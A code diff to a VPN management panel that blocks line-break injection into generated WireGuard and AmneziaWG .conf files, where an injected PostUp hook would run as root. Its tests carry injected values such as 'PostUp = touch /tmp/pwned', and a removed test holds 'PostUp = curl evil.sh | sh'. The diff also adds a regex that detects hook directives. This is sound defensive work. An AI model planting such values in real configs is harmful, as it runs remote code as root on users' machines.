diff --git a/frontend/src/lib/xray/conf-lines.ts b/frontend/src/lib/xray/conf-lines.ts new file mode 100644 index 000000000..ef6a9b00d --- /dev/null +++ b/frontend/src/lib/xray/conf-lines.ts @@ -0,0 +1,20 @@ +// One entry per .conf line, or '' when any entry would split: a line break can +// re-open [Interface], whose PostUp runs as root wherever wg-quick applies it. +export function joinConfLines(lines: readonly string[]): string { + return lines.some(hasControlChar) ? '' : lines.join('\n'); +} + +function hasControlChar(line: string): boolean { + for (let i = 0; i < line.length; i++) { + const code = line.charCodeAt(i); + if (code < 0x20 || code === 0x7f) return true; + } + return false; +} + +// wg-quick matches keys case-insensitively; no panel builder emits these hooks. +const WG_QUICK_HOOK = /^\s*(?:pre|post)(?:up|down)\s*=/im; + +export function hasWgQuickHook(conf: string): boolean { + return WG_QUICK_HOOK.test(conf); +} diff --git a/frontend/src/lib/xray/inbound-link.ts b/frontend/src/lib/xray/inbound-link.ts index c5580ffd4..fe8d9d5fd 100644 --- a/frontend/src/lib/xray/inbound-link.ts +++ b/frontend/src/lib/xray/inbound-link.ts @@ -14,6 +14,7 @@ import type { FinalMaskStreamSettings } from '@/schemas/protocols/stream/finalma import type { XHttpStreamSettings } from '@/schemas/protocols/stream/xhttp'; import { parseGeckoPacketSize } from '@/lib/xray/forms/transport/FinalMaskForm'; +import { hasWgQuickHook, joinConfLines } from './conf-lines'; import { getHeaderValue } from './headers'; import { canEnableTlsFlow } from './protocol-capabilities'; import { deriveSpiderX } from './spider-x'; @@ -1016,25 +1017,24 @@ export function genWireguardConfig(input: GenWireguardLinkInput): string { const pubKey = settings.secretKey.length > 0 ? Wireguard.generateKeypair(settings.secretKey).publicKey : ''; - let txt = `[Interface]\n`; - txt += `PrivateKey = ${peer.privateKey ?? ''}\n`; - txt += `Address = ${peer.allowedIPs.join(', ')}\n`; - txt += `DNS = ${settings.dns || '1.1.1.1, 1.0.0.1'}\n`; + const lines = [ + '[Interface]', + `PrivateKey = ${peer.privateKey ?? ''}`, + `Address = ${peer.allowedIPs.join(', ')}`, + `DNS = ${settings.dns || '1.1.1.1, 1.0.0.1'}`, + ]; if (typeof settings.mtu === 'number' && settings.mtu > 0) { - txt += `MTU = ${settings.mtu}\n`; + lines.push(`MTU = ${settings.mtu}`); } - txt += `\n# ${remark}\n`; - txt += `[Peer]\n`; - txt += `PublicKey = ${pubKey}\n`; - txt += `AllowedIPs = 0.0.0.0/0, ::/0\n`; - txt += `Endpoint = ${address}:${port}`; + lines.push('', `# ${remark}`, '[Peer]', `PublicKey = ${pubKey}`, 'AllowedIPs = 0.0.0.0/0, ::/0'); + lines.push(`Endpoint = ${address}:${port}`); if (peer.preSharedKey && peer.preSharedKey.length > 0) { - txt += `\nPresharedKey = ${peer.preSharedKey}`; + lines.push(`PresharedKey = ${peer.preSharedKey}`); } if (typeof peer.keepAlive === 'number' && peer.keepAlive > 0) { - txt += `\nPersistentKeepalive = ${peer.keepAlive}\n`; + lines.push(`PersistentKeepalive = ${peer.keepAlive}`, ''); } - return txt; + return joinConfLines(lines); } // Shared input shape for both the per-client vpn:// link and .conf @@ -1086,39 +1086,25 @@ export function genAmneziaWGConfig(input: GenAmneziaWGLinkInput): string { if (!client) return ''; const server = settings.server; - // These land unescaped in the .conf; a newline would inject a config line - // (e.g. a rogue PostUp) — same guard as the panel's other two emitters. - for (const v of [ - client.privateKey ?? '', - server.primaryDns ?? '', - server.secondaryDns ?? '', - remark, - ]) { - if (/[\r\n]/.test(v)) return ''; - } - - let txt = `[Interface]\n`; - txt += `PrivateKey = ${client.privateKey ?? ''}\n`; - txt += `Address = ${(client.allowedIPs ?? []).join(', ')}\n`; + const lines = [ + '[Interface]', + `PrivateKey = ${client.privateKey ?? ''}`, + `Address = ${(client.allowedIPs ?? []).join(', ')}`, + ]; const dns = [server.primaryDns, server.secondaryDns].filter((v) => !!v && v.trim() !== ''); - if (dns.length > 0) txt += `DNS = ${dns.join(', ')}\n`; - txt += `MTU = ${effectiveMtu(server.mtu, server.s4)}\n`; - txt += `Jc = ${server.jc}\n`; - txt += `Jmin = ${server.jmin}\n`; - txt += `Jmax = ${server.jmax}\n`; - txt += `S1 = ${server.s1}\n`; - txt += `S2 = ${server.s2}\n`; - if (server.s3) txt += `S3 = ${server.s3}\n`; - if (server.s4) txt += `S4 = ${server.s4}\n`; - txt += `${amneziaWGHLine('H1', server.h1, '1')}\n`; - txt += `${amneziaWGHLine('H2', server.h2, '2')}\n`; - txt += `${amneziaWGHLine('H3', server.h3, '3')}\n`; - txt += `${amneziaWGHLine('H4', server.h4, '4')}\n`; - if (server.i1) txt += `I1 = ${server.i1}\n`; - if (server.i2) txt += `I2 = ${server.i2}\n`; - if (server.i3) txt += `I3 = ${server.i3}\n`; - if (server.i4) txt += `I4 = ${server.i4}\n`; - if (server.i5) txt += `I5 = ${server.i5}\n`; + if (dns.length > 0) lines.push(`DNS = ${dns.join(', ')}`); + lines.push(`MTU = ${effectiveMtu(server.mtu, server.s4)}`); + lines.push(`Jc = ${server.jc}`, `Jmin = ${server.jmin}`, `Jmax = ${server.jmax}`); + lines.push(`S1 = ${server.s1}`, `S2 = ${server.s2}`); + if (server.s3) lines.push(`S3 = ${server.s3}`); + if (server.s4) lines.push(`S4 = ${server.s4}`); + lines.push(amneziaWGHLine('H1', server.h1, '1'), amneziaWGHLine('H2', server.h2, '2')); + lines.push(amneziaWGHLine('H3', server.h3, '3'), amneziaWGHLine('H4', server.h4, '4')); + if (server.i1) lines.push(`I1 = ${server.i1}`); + if (server.i2) lines.push(`I2 = ${server.i2}`); + if (server.i3) lines.push(`I3 = ${server.i3}`); + if (server.i4) lines.push(`I4 = ${server.i4}`); + if (server.i5) lines.push(`I5 = ${server.i5}`); const optional31: Array<[string, string | undefined]> = [ ['HeaderProtectionKey', server.headerProtectionKey], ['ContentPaddingAddition', server.contentPaddingAddition], @@ -1129,25 +1115,22 @@ export function genAmneziaWGConfig(input: GenAmneziaWGLinkInput): string { ['MaxHandshakeAttempts', server.maxHandshakeAttempts], ]; for (const [key, value] of optional31) { - if (value && value.trim() !== '') txt += `${key} = ${value}\n`; + if (value && value.trim() !== '') lines.push(`${key} = ${value}`); } - if (server.randomTrailers) txt += `RandomTrailers = on\n`; - if (server.disableCookies) txt += `DisableCookies = on\n`; + if (server.randomTrailers) lines.push('RandomTrailers = on'); + if (server.disableCookies) lines.push('DisableCookies = on'); // Peer field order follows wg-quick(8) and the panel's other two AmneziaWG // emitters (amneziaWGConfigText in Go, buildAmneziaWGClientConfig); all three // are independent implementations and must not drift apart. - txt += `\n# ${remark}\n`; - txt += `[Peer]\n`; - txt += `PublicKey = ${server.publicKey ?? ''}\n`; + lines.push('', `# ${remark}`, '[Peer]', `PublicKey = ${server.publicKey ?? ''}`); if (client.preSharedKey && client.preSharedKey.length > 0) { - txt += `PresharedKey = ${client.preSharedKey}\n`; + lines.push(`PresharedKey = ${client.preSharedKey}`); } - txt += `AllowedIPs = 0.0.0.0/0, ::/0\n`; - txt += `Endpoint = ${address}:${port}`; + lines.push('AllowedIPs = 0.0.0.0/0, ::/0', `Endpoint = ${address}:${port}`); if (typeof client.keepAlive === 'number' && client.keepAlive > 0) { - txt += `\nPersistentKeepalive = ${client.keepAlive}`; + lines.push(`PersistentKeepalive = ${client.keepAlive}`); } - return txt; + return joinConfLines(lines); } export interface GenAmneziaWGFanoutInput { @@ -1253,7 +1236,7 @@ export function wireguardConfigFromLink(link: string, fallbackRemark = ''): stri if (psk) lines.push(`PresharedKey = ${psk}`); lines.push(`AllowedIPs = ${allowedIPs}`, `Endpoint = ${endpoint}`); if (keepAlive && Number(keepAlive) > 0) lines.push(`PersistentKeepalive = ${keepAlive}`); - return lines.join('\n'); + return joinConfLines(lines); } // Reverse of toBase64Url above -- recovers a vpn:// link's plain .conf @@ -1278,7 +1261,8 @@ export function amneziawgConfigFromLink(link: string): string { const trimmed = link.trim(); if (!trimmed.startsWith('vpn://')) return ''; try { - return fromBase64Url(trimmed.slice('vpn://'.length)); + const conf = fromBase64Url(trimmed.slice('vpn://'.length)); + return hasWgQuickHook(conf) ? '' : conf; } catch { return ''; } diff --git a/frontend/src/pages/clients/amneziawgConfig.ts b/frontend/src/pages/clients/amneziawgConfig.ts index a97e9ce9c..cd1aa027f 100644 --- a/frontend/src/pages/clients/amneziawgConfig.ts +++ b/frontend/src/pages/clients/amneziawgConfig.ts @@ -2,6 +2,7 @@ import type { HostEndpoint } from '@/lib/hosts/host-link'; import { formatInboundLabel } from '@/lib/inbounds/label'; import { preferPublicHost, resolveShareHost } from '@/lib/xray/inbound-link'; import { effectiveMtu } from '@/lib/xray/amneziawg-obfuscation'; +import { joinConfLines } from '@/lib/xray/conf-lines'; import type { ClientRecord, InboundOption } from '@/hooks/useClients'; // AmneziaWG clients are wire-identical to WireGuard clients (same @@ -58,13 +59,7 @@ export function buildAmneziaWGClientConfig( .filter(Boolean) .join(' - '); - // These land unescaped in [Interface]; a newline here would inject a - // config line (e.g. a rogue PostUp) into the downloaded .conf. const privateKey = client.privateKey || client.password || ''; - for (const v of [privateKey, server?.primaryDns ?? '', server?.secondaryDns ?? '', remark]) { - if (/[\r\n]/.test(v)) return ''; - } - const dnsParts = [server?.primaryDns, server?.secondaryDns].filter((v) => !!v && v.trim() !== ''); const lines = ['[Interface]', `PrivateKey = ${privateKey}`, `Address = ${address}`]; if (dnsParts.length > 0) lines.push(`DNS = ${dnsParts.join(', ')}`); @@ -109,5 +104,5 @@ export function buildAmneziaWGClientConfig( lines.push('AllowedIPs = 0.0.0.0/0, ::/0', `Endpoint = ${endpoint}`); if (client.keepAlive && client.keepAlive > 0) lines.push(`PersistentKeepalive = ${client.keepAlive}`); - return lines.join('\n'); + return joinConfLines(lines); } diff --git a/frontend/src/pages/clients/wireguardConfig.ts b/frontend/src/pages/clients/wireguardConfig.ts index 27d0d45d5..b63d3e05c 100644 --- a/frontend/src/pages/clients/wireguardConfig.ts +++ b/frontend/src/pages/clients/wireguardConfig.ts @@ -1,5 +1,6 @@ import type { HostEndpoint } from '@/lib/hosts/host-link'; import { formatInboundLabel } from '@/lib/inbounds/label'; +import { joinConfLines } from '@/lib/xray/conf-lines'; import { preferPublicHost, resolveShareHost } from '@/lib/xray/inbound-link'; import type { ClientRecord, InboundOption } from '@/hooks/useClients'; @@ -54,5 +55,5 @@ export function buildWireguardClientConfig( lines.push('AllowedIPs = 0.0.0.0/0, ::/0', `Endpoint = ${endpoint}`); if (client.keepAlive && client.keepAlive > 0) lines.push(`PersistentKeepalive = ${client.keepAlive}`); - return lines.join('\n'); + return joinConfLines(lines); } diff --git a/frontend/src/pages/sub/SubConfigsTab.tsx b/frontend/src/pages/sub/SubConfigsTab.tsx index 36eee1ea5..615b8b6c7 100644 --- a/frontend/src/pages/sub/SubConfigsTab.tsx +++ b/frontend/src/pages/sub/SubConfigsTab.tsx @@ -34,7 +34,8 @@ export default function SubConfigsTab({ links, onCopy }: SubConfigsTabProps) { const parts = parseLinkParts(link); const rowTitle = parts?.remark || `Link ${idx + 1}`; const isWireguardLink = link.startsWith('wireguard://') || link.startsWith('wg://'); - const isAmneziawgLink = link.startsWith('vpn://'); + const wireguardConfig = isWireguardLink ? wireguardConfigFromLink(link, rowTitle) : ''; + const amneziawgConfig = link.startsWith('vpn://') ? amneziawgConfigFromLink(link) : ''; return (
@@ -54,19 +55,19 @@ export default function SubConfigsTab({ links, onCopy }: SubConfigsTabProps) { )}
- {isWireguardLink && ( + {wireguardConfig && ( )} - {isAmneziawgLink && ( + {amneziawgConfig && ( , client: Record) { - return { - server: { publicKey: 'serverPubKey==', jc: 4, jmin: 40, jmax: 100, s1: 30, s2: 90, ...server }, - clients: [ - { email: 'peer-1', privateKey: 'clientPrivKey==', allowedIPs: ['10.8.1.2/32'], ...client }, - ], - } as unknown as AmneziawgInboundSettings; -} - -describe('AmneziaWG .conf newline-injection guard', () => { - it('genAmneziaWGConfig refuses injected fields and renders clean ones', () => { - const base = { address: 'awg.example.test', port: 51820, peerIndex: 0 }; - expect(genAmneziaWGConfig({ settings: settingsWith({}, {}), remark: 'ok', ...base })).toContain( - 'PrivateKey = clientPrivKey==', - ); - expect( - genAmneziaWGConfig({ - settings: settingsWith({}, { privateKey: INJECTED }), - remark: 'ok', - ...base, - }), - ).toBe(''); - expect( - genAmneziaWGConfig({ - settings: settingsWith({ primaryDns: INJECTED }, {}), - remark: 'ok', - ...base, - }), - ).toBe(''); - expect( - genAmneziaWGConfig({ - settings: settingsWith({ secondaryDns: INJECTED }, {}), - remark: 'ok', - ...base, - }), - ).toBe(''); - expect(genAmneziaWGConfig({ settings: settingsWith({}, {}), remark: INJECTED, ...base })).toBe( - '', - ); - }); - - it('buildAmneziaWGClientConfig refuses injected fields', () => { - const inbound = (server: Record) => - ({ - id: 1, - tag: 'awg-1', - remark: 'awg', - port: 51820, - protocol: 'amneziawg', - awgServer: { - publicKey: 'serverPubKey==', - jc: 4, - jmin: 40, - jmax: 100, - s1: 30, - s2: 90, - ...server, - }, - }) as unknown as InboundOption; - const client = (extra: Record) => - ({ - email: 'peer-1', - privateKey: 'clientPrivKey==', - allowedIPs: '10.8.1.2/32', - ...extra, - }) as unknown as ClientRecord; - - expect(buildAmneziaWGClientConfig(client({}), inbound({}), 'awg.example.test')).toContain( - 'PrivateKey = clientPrivKey==', - ); - expect( - buildAmneziaWGClientConfig(client({ privateKey: INJECTED }), inbound({}), 'awg.example.test'), - ).toBe(''); - expect( - buildAmneziaWGClientConfig(client({}), inbound({ primaryDns: INJECTED }), 'awg.example.test'), - ).toBe(''); - expect( - buildAmneziaWGClientConfig(client({ comment: INJECTED }), inbound({}), 'awg.example.test'), - ).toBe(''); - }); -}); diff --git a/frontend/src/test/conf-line-injection.test.ts b/frontend/src/test/conf-line-injection.test.ts new file mode 100644 index 000000000..2df2beaaa --- /dev/null +++ b/frontend/src/test/conf-line-injection.test.ts @@ -0,0 +1,115 @@ +import { describe, expect, it } from 'vitest'; + +import { + amneziawgConfigFromLink, + genAmneziaWGConfig, + genWireguardConfig, + wireguardConfigFromLink, +} from '@/lib/xray/inbound-link'; +import { buildAmneziaWGClientConfig } from '@/pages/clients/amneziawgConfig'; +import { buildWireguardClientConfig } from '@/pages/clients/wireguardConfig'; +import type { AmneziawgInboundSettings } from '@/schemas/protocols/inbound/amneziawg'; +import type { WireguardInboundSettings } from '@/schemas/protocols/inbound/wireguard'; +import type { ClientRecord, InboundOption } from '@/hooks/useClients'; + +// A value carrying a line break adds a line such as a root PostUp to the .conf; +// node sync, an import or an external subscription can each supply one. +const INJECTED = '140232109\nPostUp = touch /tmp/pwned'; + +const endpoint = { address: 'vpn.example.test', port: 51820, peerIndex: 0, remark: 'peer-1' }; + +function awgSettings(h1: string) { + return { + server: { publicKey: 'serverPubKey==', jc: 4, jmin: 40, jmax: 100, s1: 30, s2: 90, h1 }, + clients: [{ email: 'peer-1', privateKey: 'clientPrivKey==', allowedIPs: ['10.8.1.2/32'] }], + } as unknown as AmneziawgInboundSettings; +} + +function awgInbound(h1: string) { + return { + id: 1, + tag: 'awg-1', + remark: 'awg', + port: 51820, + protocol: 'amneziawg', + awgServer: { publicKey: 'serverPubKey==', jc: 4, jmin: 40, jmax: 100, s1: 30, s2: 90, h1 }, + } as unknown as InboundOption; +} + +function wgSettings(dns: string) { + return { + secretKey: '', + mtu: 1420, + dns, + peers: [{ privateKey: 'clientPrivKey==', allowedIPs: ['10.0.0.2/32'] }], + } as unknown as WireguardInboundSettings; +} + +function wgInbound(wgDns: string) { + return { + id: 2, + tag: 'wg-1', + remark: 'wg', + port: 51820, + protocol: 'wireguard', + wgPublicKey: 'serverPubKey==', + wgDns, + } as unknown as InboundOption; +} + +const client = { + email: 'peer-1', + privateKey: 'clientPrivKey==', + allowedIPs: '10.8.1.2/32', +} as unknown as ClientRecord; + +function vpnLink(conf: string): string { + return `vpn://${btoa(conf).replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '')}`; +} + +describe('.conf builders render nothing when a value carries a line break', () => { + it('genAmneziaWGConfig', () => { + expect(genAmneziaWGConfig({ settings: awgSettings('1'), ...endpoint })).toContain('H1 = 1\n'); + expect(genAmneziaWGConfig({ settings: awgSettings(INJECTED), ...endpoint })).toBe(''); + }); + + it('buildAmneziaWGClientConfig', () => { + expect(buildAmneziaWGClientConfig(client, awgInbound('1'), 'vpn.example.test')).toContain( + 'H1 = 1\n', + ); + expect(buildAmneziaWGClientConfig(client, awgInbound(INJECTED), 'vpn.example.test')).toBe(''); + }); + + it('genWireguardConfig', () => { + expect(genWireguardConfig({ settings: wgSettings('9.9.9.9'), ...endpoint })).toContain( + 'DNS = 9.9.9.9\n', + ); + expect(genWireguardConfig({ settings: wgSettings(INJECTED), ...endpoint })).toBe(''); + }); + + it('buildWireguardClientConfig', () => { + expect(buildWireguardClientConfig(client, wgInbound('9.9.9.9'), 'vpn.example.test')).toContain( + 'DNS = 9.9.9.9\n', + ); + expect(buildWireguardClientConfig(client, wgInbound(INJECTED), 'vpn.example.test')).toBe(''); + }); + + it('wireguardConfigFromLink', () => { + const link = (address: string) => + `wireguard://PRIVKEY@203.0.113.9:51820/?address=${address}&publickey=PEERPUB&dns=1.1.1.1&allowedips=0.0.0.0%2F0`; + expect(wireguardConfigFromLink(link('10.0.0.2%2F32'))).toContain('Address = 10.0.0.2/32\n'); + expect( + wireguardConfigFromLink(link('10.0.0.2%2F32%0APostUp%20%3D%20touch%20%2Ftmp%2Fpwned')), + ).toBe(''); + }); +}); + +describe('amneziawgConfigFromLink', () => { + // A vpn:// payload is a whole .conf from wherever the subscription got it; + // no panel builder writes a wg-quick hook, so one in a payload was planted. + it('refuses a payload that carries a wg-quick hook directive', () => { + const clean = '[Interface]\nPrivateKey = k\nAddress = 10.8.1.2/32'; + expect(amneziawgConfigFromLink(vpnLink(clean))).toBe(clean); + expect(amneziawgConfigFromLink(vpnLink(`${clean}\n postup = touch /tmp/pwned`))).toBe(''); + }); +}); diff --git a/internal/sub/service.go b/internal/sub/service.go index eea2bbd85..773e02bfc 100644 --- a/internal/sub/service.go +++ b/internal/sub/service.go @@ -983,20 +983,12 @@ func amneziaWGHeaderOrDefault(value, fallback string) string { // frontend's genAmneziaWGConfig produces (same field order, same optional-field // conditionals) -- this is the payload wrapped into vpn:// links below. func amneziaWGConfigText(server *amneziawg.ServerSettings, client *model.Client, host string, port int, remark string) string { - // These land unescaped in [Interface]; a newline here would inject a - // config line (e.g. a rogue PostUp) into the subscriber's .conf. - for _, v := range []string{client.PrivateKey, server.PrimaryDNS, server.SecondaryDNS, remark} { - if strings.ContainsAny(v, "\r\n") { - return "" - } + lines := []string{ + "[Interface]", + "PrivateKey = " + client.PrivateKey, + "Address = " + strings.Join(client.AllowedIPs, ", "), } - var b strings.Builder - - b.WriteString("[Interface]\n") - fmt.Fprintf(&b, "PrivateKey = %s\n", client.PrivateKey) - fmt.Fprintf(&b, "Address = %s\n", strings.Join(client.AllowedIPs, ", ")) - var dns []string if server.PrimaryDNS != "" { dns = append(dns, server.PrimaryDNS) @@ -1005,30 +997,34 @@ func amneziaWGConfigText(server *amneziawg.ServerSettings, client *model.Client, dns = append(dns, server.SecondaryDNS) } if len(dns) > 0 { - fmt.Fprintf(&b, "DNS = %s\n", strings.Join(dns, ", ")) + lines = append(lines, "DNS = "+strings.Join(dns, ", ")) } // Always emitted: a missing MTU line leaves the client on its own 1420 // default and fragments the client-to-server direction once S4 passes 20. - fmt.Fprintf(&b, "MTU = %d\n", amneziawg.EffectiveMTU(server.MTU, server.S4)) + lines = append(lines, fmt.Sprintf("MTU = %d", amneziawg.EffectiveMTU(server.MTU, server.S4))) - fmt.Fprintf(&b, "Jc = %d\n", server.Jc) - fmt.Fprintf(&b, "Jmin = %d\n", server.Jmin) - fmt.Fprintf(&b, "Jmax = %d\n", server.Jmax) - fmt.Fprintf(&b, "S1 = %d\n", server.S1) - fmt.Fprintf(&b, "S2 = %d\n", server.S2) + lines = append(lines, + fmt.Sprintf("Jc = %d", server.Jc), + fmt.Sprintf("Jmin = %d", server.Jmin), + fmt.Sprintf("Jmax = %d", server.Jmax), + fmt.Sprintf("S1 = %d", server.S1), + fmt.Sprintf("S2 = %d", server.S2), + ) if server.S3 > 0 { - fmt.Fprintf(&b, "S3 = %d\n", server.S3) + lines = append(lines, fmt.Sprintf("S3 = %d", server.S3)) } if server.S4 > 0 { - fmt.Fprintf(&b, "S4 = %d\n", server.S4) + lines = append(lines, fmt.Sprintf("S4 = %d", server.S4)) } - fmt.Fprintf(&b, "H1 = %s\n", amneziaWGHeaderOrDefault(server.H1, "1")) - fmt.Fprintf(&b, "H2 = %s\n", amneziaWGHeaderOrDefault(server.H2, "2")) - fmt.Fprintf(&b, "H3 = %s\n", amneziaWGHeaderOrDefault(server.H3, "3")) - fmt.Fprintf(&b, "H4 = %s\n", amneziaWGHeaderOrDefault(server.H4, "4")) + lines = append(lines, + "H1 = "+amneziaWGHeaderOrDefault(server.H1, "1"), + "H2 = "+amneziaWGHeaderOrDefault(server.H2, "2"), + "H3 = "+amneziaWGHeaderOrDefault(server.H3, "3"), + "H4 = "+amneziaWGHeaderOrDefault(server.H4, "4"), + ) for i, v := range []string{server.I1, server.I2, server.I3, server.I4, server.I5} { if v != "" { - fmt.Fprintf(&b, "I%d = %s\n", i+1, v) + lines = append(lines, fmt.Sprintf("I%d = %s", i+1, v)) } } optional := []struct{ key, v string }{ @@ -1042,33 +1038,37 @@ func amneziaWGConfigText(server *amneziawg.ServerSettings, client *model.Client, } for _, p := range optional { if p.v != "" { - fmt.Fprintf(&b, "%s = %s\n", p.key, p.v) + lines = append(lines, p.key+" = "+p.v) } } if server.RandomTrailers { - b.WriteString("RandomTrailers = on\n") + lines = append(lines, "RandomTrailers = on") } if server.DisableCookies { - b.WriteString("DisableCookies = on\n") + lines = append(lines, "DisableCookies = on") } // Peer field order follows wg-quick(8) and the panel's other two AmneziaWG // emitters (genAmneziaWGConfig, buildAmneziaWGClientConfig); all three are // independent implementations, so any drift here is invisible until a user // compares a subscription link against a downloaded .conf. - fmt.Fprintf(&b, "\n# %s\n", remark) - b.WriteString("[Peer]\n") - fmt.Fprintf(&b, "PublicKey = %s\n", server.PublicKey) + lines = append(lines, "", "# "+remark, "[Peer]", "PublicKey = "+server.PublicKey) if client.PreSharedKey != "" { - fmt.Fprintf(&b, "PresharedKey = %s\n", client.PreSharedKey) + lines = append(lines, "PresharedKey = "+client.PreSharedKey) } - b.WriteString("AllowedIPs = 0.0.0.0/0, ::/0\n") - fmt.Fprintf(&b, "Endpoint = %s:%d", host, port) + lines = append(lines, "AllowedIPs = 0.0.0.0/0, ::/0", fmt.Sprintf("Endpoint = %s:%d", host, port)) if ka := client.KeepAliveSeconds(); ka > 0 { - fmt.Fprintf(&b, "\nPersistentKeepalive = %d", ka) + lines = append(lines, fmt.Sprintf("PersistentKeepalive = %d", ka)) } - return b.String() + // A control character would split its line, and the split can re-open + // [Interface], whose PostUp runs as root wherever awg-quick applies this. + for _, line := range lines { + if amneziawg.ValidateConfigValue("config line", line) != nil { + return "" + } + } + return strings.Join(lines, "\n") } // genAmneziaWGLink builds a per-client vpn:// share diff --git a/internal/sub/service_amneziawg_test.go b/internal/sub/service_amneziawg_test.go index 173cc3335..3bf489e31 100644 --- a/internal/sub/service_amneziawg_test.go +++ b/internal/sub/service_amneziawg_test.go @@ -241,9 +241,9 @@ func TestAmneziaWGConfigTextPeerFieldOrder(t *testing.T) { }) } -// A newline in a field that lands unescaped in [Interface] would inject a -// config line (e.g. a rogue PostUp); the emitter must refuse to render it. -func TestAmneziaWGConfigTextRejectsNewlineInjection(t *testing.T) { +// A value carrying a line break would add a line such as a root PostUp to the +// subscriber's .conf; a node reports server fields that no save path validated. +func TestAmneziaWGConfigTextRejectsLineBreakInAnyValue(t *testing.T) { server := &amneziawg.ServerSettings{ PublicKey: "serverPub==", PrimaryDNS: "8.8.8.8", @@ -256,25 +256,9 @@ func TestAmneziaWGConfigTextRejectsNewlineInjection(t *testing.T) { t.Fatalf("clean input did not render: %q", clean) } - injected := "x\nPostUp = curl evil.sh | sh" - cases := []struct { - name string - mutate func(s *amneziawg.ServerSettings, c *model.Client) string - }{ - {"privateKey", func(s *amneziawg.ServerSettings, c *model.Client) string { c.PrivateKey = injected; return "peer-1" }}, - {"primaryDns", func(s *amneziawg.ServerSettings, c *model.Client) string { s.PrimaryDNS = injected; return "peer-1" }}, - {"secondaryDns", func(s *amneziawg.ServerSettings, c *model.Client) string { s.SecondaryDNS = injected; return "peer-1" }}, - {"remark", func(s *amneziawg.ServerSettings, c *model.Client) string { return injected }}, - } - for _, tc := range cases { - t.Run(tc.name, func(t *testing.T) { - s := *server - c := *client - remark := tc.mutate(&s, &c) - if got := amneziaWGConfigText(&s, &c, "203.0.113.7", 51820, remark); got != "" { - t.Fatalf("%s with a newline rendered a config:\n%s", tc.name, got) - } - }) + server.H1 = "140232109\nPostUp = touch /tmp/pwned" + if got := amneziaWGConfigText(server, client, "203.0.113.7", 51820, "peer-1"); got != "" { + t.Fatalf("H1 with a line break rendered a config:\n%s", got) } } diff --git a/internal/web/service/inbound.go b/internal/web/service/inbound.go index 0e4175861..cbc67870d 100644 --- a/internal/web/service/inbound.go +++ b/internal/web/service/inbound.go @@ -1409,6 +1409,9 @@ func (s *InboundService) AddInbound(inbound *model.Inbound) (*model.Inbound, boo if client.PublicKey == "" { return inbound, false, common.NewError("wireguard client requires a key") } + if _, err := normalizeWireguardAllowedIPs(client.AllowedIPs); err != nil { + return inbound, false, err + } case "mtproto": if client.Secret == "" { return inbound, false, common.NewError("mtproto client requires a secret") @@ -1923,6 +1926,10 @@ func (s *InboundService) validateUpdatedInboundClients(inbound *model.Inbound) e if client.Password == "" { return common.NewError("empty client ID") } + case model.WireGuard, model.AmneziaWG: + if _, err := normalizeWireguardAllowedIPs(client.AllowedIPs); err != nil { + return err + } case model.TUIC: if client.ID == "" { return common.NewError("empty client ID") diff --git a/internal/web/service/inbound_amneziawg_test.go b/internal/web/service/inbound_amneziawg_test.go index cb0c65da7..45fecc563 100644 --- a/internal/web/service/inbound_amneziawg_test.go +++ b/internal/web/service/inbound_amneziawg_test.go @@ -265,6 +265,30 @@ func TestNormalizeAmneziaWGSettings_RejectsInjectedClientAllowedIPs(t *testing.T } } +// A protocol switch keeps the stored clients, re-injected after the AmneziaWG +// normalize ran, so a WireGuard row's bad allowedIPs skipped every check. +func TestUpdateInbound_ProtocolSwitchRejectsStoredClientAllowedIPs(t *testing.T) { + setupConflictDB(t) + stored := mkInbound(t, 51830, model.WireGuard, `{"secretKey":"`+awgTestPrivateKey+`","clients":[{"email":"sw@x","enable":true,`+ + `"privateKey":"`+awgTestPrivateKey+`","publicKey":"`+awgTestPublicKey+`","allowedIPs":["10.8.1.2/32\n[Interface]\nPostUp = touch /tmp/pwned"]}]}`) + + update := *stored + update.Protocol = model.AmneziaWG + update.Settings = `{"server":{"privateKey":"x","publicKey":"y","subnetIp":"10.8.1.0","subnetCidr":24},"clients":[]}` + _, _, err := (&InboundService{}).UpdateInbound(&update) + if err == nil || !strings.Contains(err.Error(), "invalid allowedIPs entry") { + t.Fatalf("UpdateInbound err = %v, want an invalid allowedIPs entry error", err) + } + + var after model.Inbound + if err := database.GetDB().First(&after, stored.Id).Error; err != nil { + t.Fatalf("reload: %v", err) + } + if after.Protocol != model.WireGuard { + t.Fatalf("rejected switch was persisted: protocol = %q", after.Protocol) + } +} + func TestNormalizeAmneziaWGSettings_CanonicalizesClientAllowedIPs(t *testing.T) { setupConflictDB(t) svc := &InboundService{} diff --git a/internal/web/service/inbound_finalmask_reality_test.go b/internal/web/service/inbound_finalmask_reality_test.go index 13d9097fd..f58fe2800 100644 --- a/internal/web/service/inbound_finalmask_reality_test.go +++ b/internal/web/service/inbound_finalmask_reality_test.go @@ -2,6 +2,7 @@ package service import ( "encoding/json" + "strings" "testing" "github.com/mhsanaei/3x-ui/v3/internal/database" @@ -149,6 +150,29 @@ func TestAddInbound_AcceptsWireguardClientWithKey(t *testing.T) { } } +// The client endpoints already refuse a non-prefix allowedIPs entry; the inbound +// form stored it verbatim, and a line break in it reaches every rendered .conf. +func TestAddInbound_RejectsWireguardClientAllowedIPsThatIsNotAPrefix(t *testing.T) { + setupConflictDB(t) + svc := &InboundService{} + + settings := `{"secretKey":"` + wgTestSecretKey() + `","mtu":1420,"clients":[{"email":"wgbad@x","enable":true,"privateKey":"keep-priv","publicKey":"keep-pub",` + + `"allowedIPs":["10.0.0.51/32\n[Interface]\nPostUp = touch /tmp/pwned"]}]}` + in := &model.Inbound{Tag: "in-45201-wg", Enable: true, Listen: "0.0.0.0", Port: 45201, Protocol: model.WireGuard, Settings: settings} + _, _, err := svc.AddInbound(in) + if err == nil || !strings.Contains(err.Error(), "invalid allowedIPs entry") { + t.Fatalf("AddInbound err = %v, want an invalid allowedIPs entry error", err) + } + + var count int64 + if err := database.GetDB().Model(&model.Inbound{}).Where("tag = ?", "in-45201-wg").Count(&count).Error; err != nil { + t.Fatalf("count: %v", err) + } + if count != 0 { + t.Fatalf("rejected WireGuard inbound was persisted anyway, row count = %d", count) + } +} + // end-to-end: same guard on the update path, on a row that was valid before // the edit — the rejected StreamSettings must not overwrite the stored row. func TestUpdateInbound_RejectsFinalMaskRealityCombo(t *testing.T) {